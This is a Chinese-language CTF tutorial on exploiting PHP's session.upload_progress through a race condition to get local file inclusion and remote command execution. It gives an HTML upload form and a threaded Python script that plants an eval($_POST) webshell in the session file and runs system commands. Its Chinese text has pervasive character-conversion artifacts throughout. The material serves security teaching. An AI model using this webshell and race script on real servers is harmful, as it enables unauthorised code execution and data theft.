使用session upload_progress實(shí)現(xiàn)文件包含實(shí)例詳解
前言
該思路是很久之前在CTF比賽中學(xué)習(xí)到的,可以簡(jiǎn)單理解為利用session.upload_progress來(lái)進(jìn)行文件競(jìng)爭(zhēng)從而達(dá)到上傳文件進(jìn)行文件包含或者命令執(zhí)行的目的,可能大部分人會(huì)不理解,我們下面我們展開(kāi)來(lái)講。
基礎(chǔ)知識(shí)
session.upload_progress
首先我們要先學(xué)習(xí)什么是session.upload_progress,可以簡(jiǎn)單理解為文件上傳進(jìn)度,在php官方文檔里可以找到描述:
在這里面有幾個(gè)很重要的函數(shù),我們簡(jiǎn)單看一下:
session.upload_progress.enabled = on session.upload_progress.cleanup = on session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
第一個(gè)顯而易見(jiàn)是設(shè)定是否開(kāi)啟該功能,第二個(gè)cleanup則是是否在上傳后刪除文件,第三個(gè)為設(shè)置前綴,第四個(gè)為session中的鍵值,那么他們有什么用呢?我們就可以在phpinfo里查看這些信息是否開(kāi)啟以此來(lái)判斷能不能利用該漏洞。
攻擊方法
我們攻擊思路就是利用session.upload_progress來(lái)將木馬寫(xiě)入到session里面,但這里有兩個(gè)問(wèn)題:
問(wèn)題一:代碼里沒(méi)有session_start,我們?nèi)绾蝿?chuàng)建session文件呢?
首先我們先看看session里面有一個(gè)很重要的選項(xiàng):
session.use_strict_mode //默認(rèn)值為off。
我們可以自己定義sessionid,假如我們定義sessionid為xino,則PHP將會(huì)在服務(wù)器上創(chuàng)建一個(gè)文件:/tmp/sess_xino”。即使我們沒(méi)有初始化Session,PHP也會(huì)自動(dòng)初始化Session。 并產(chǎn)生一個(gè)鍵值,這個(gè)鍵值由:
ini.get("session.upload_progress.prefix")+由我們構(gòu)造的session.upload_progress.name值組成
最后被寫(xiě)入sess_文件里。
問(wèn)題二:上面的cleanup設(shè)置會(huì)刪除數(shù)據(jù),我們要如何防止數(shù)據(jù)被刪除呢?
所以這里需要我們文件競(jìng)爭(zhēng)不斷發(fā)包直至上傳成功,之后再讀取session文件所在路徑即可。類(lèi)似于下圖,可以搭配burpsuite使用:
之后我們即可進(jìn)行文件包含或者RCE攻擊,總結(jié)一下該漏洞的利用條件:
存在文件包含漏洞
知道session文件存放路徑,可以嘗試默認(rèn)路徑
具有讀取和寫(xiě)入session文件的權(quán)限
下面給大家?guī)?lái)一個(gè)例題。
例題
進(jìn)入題目首先看看題目源碼:
限制了我們很多東西,只能使用沒(méi)有后綴的文件進(jìn)行文件包含所以想到通過(guò)session.upload_progress來(lái)進(jìn)行文件包含,因?yàn)槲覀冃枰蟼饕粋€(gè)東西,所以我們先寫(xiě)一個(gè)簡(jiǎn)單的文件上傳點(diǎn):
<!DOCTYPE html> <html> <body> <form action="http://ctf" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
之后我們進(jìn)行發(fā)包抓包然后重放,查看回顯成功后我們?cè)L問(wèn)/tmp/sess_flag,發(fā)現(xiàn)命令執(zhí)行了:
我們將之前發(fā)包文件里面的ls命令改為cat flag的文件名即可進(jìn)行命令執(zhí)行,也是抓包重放查看返回長(zhǎng)度不一樣的包:
如果不喜歡手動(dòng)我這里從網(wǎng)上找了一個(gè)自動(dòng)化腳本,大家也可以嘗試一下:
import io import requests import threading sessid = 'FLAG' data = {"cmd":"system('ls');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data) if '1.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
結(jié)語(yǔ)
今天給大家?guī)?lái)的是session.upload_progress文件包含漏洞,因?yàn)樾枰恍┚W(wǎng)絡(luò)安全基礎(chǔ)可能部分讀者不太明白,這里有興趣的小伙伴可以自己去了解一下找個(gè)現(xiàn)成的靶機(jī)去嘗試一下,更多關(guān)于session upload_progress文件包含的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
使用PHPStudy搭建Cloudreve網(wǎng)盤(pán)服務(wù)的流程步驟
自云存儲(chǔ)概念興起已經(jīng)有段時(shí)間了,各互聯(lián)網(wǎng)大廠也紛紛加入戰(zhàn)局,一時(shí)間公有云盤(pán)遍地開(kāi)花,今天我們就為大家介紹,如何使用Cpolar與Cloudreve,在個(gè)人Windows電腦上搭建一個(gè)強(qiáng)大的PHP云盤(pán)系統(tǒng),需要的朋友可以參考下2024-02-02PHP XML備份Mysql數(shù)據(jù)庫(kù)
以下是在Linux下通過(guò)Apache+PHP對(duì)Mysql數(shù)據(jù)庫(kù)的備份的文件代碼2009-05-05php文件擴(kuò)展名判斷及獲取文件擴(kuò)展名的N種方法
本篇文章主要通過(guò)代碼給大家介紹php文件擴(kuò)展名判斷以及獲取文件擴(kuò)展名的N種方法,需要的朋友跟著腳本之家小編一起學(xué)習(xí)學(xué)習(xí)吧2015-09-09ThinkPHP框架實(shí)現(xiàn)FTP圖片上傳功能示例
這篇文章主要介紹了ThinkPHP框架實(shí)現(xiàn)FTP圖片上傳功能,結(jié)合實(shí)例形式分析了thinkPHP框架實(shí)現(xiàn)ftp圖片上傳功能相關(guān)的配置、文件傳輸功能等操作技巧,需要的朋友可以參考下2019-04-04codeigniter顯示所有腳本執(zhí)行時(shí)間的方法
這篇文章主要介紹了codeigniter顯示所有腳本執(zhí)行時(shí)間的方法,涉及codeigniter中elapsed_time方法與{ elapsed_time}偽變量的使用技巧,需要的朋友可以參考下2015-03-03PHP基于CURL進(jìn)行POST數(shù)據(jù)上傳實(shí)例
這篇文章主要介紹了PHP基于CURL進(jìn)行POST數(shù)據(jù)上傳的方法,以完整的實(shí)例形式較為詳細(xì)的講述了PHP采用curl進(jìn)行POST數(shù)據(jù)傳遞的方法,具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2014-11-11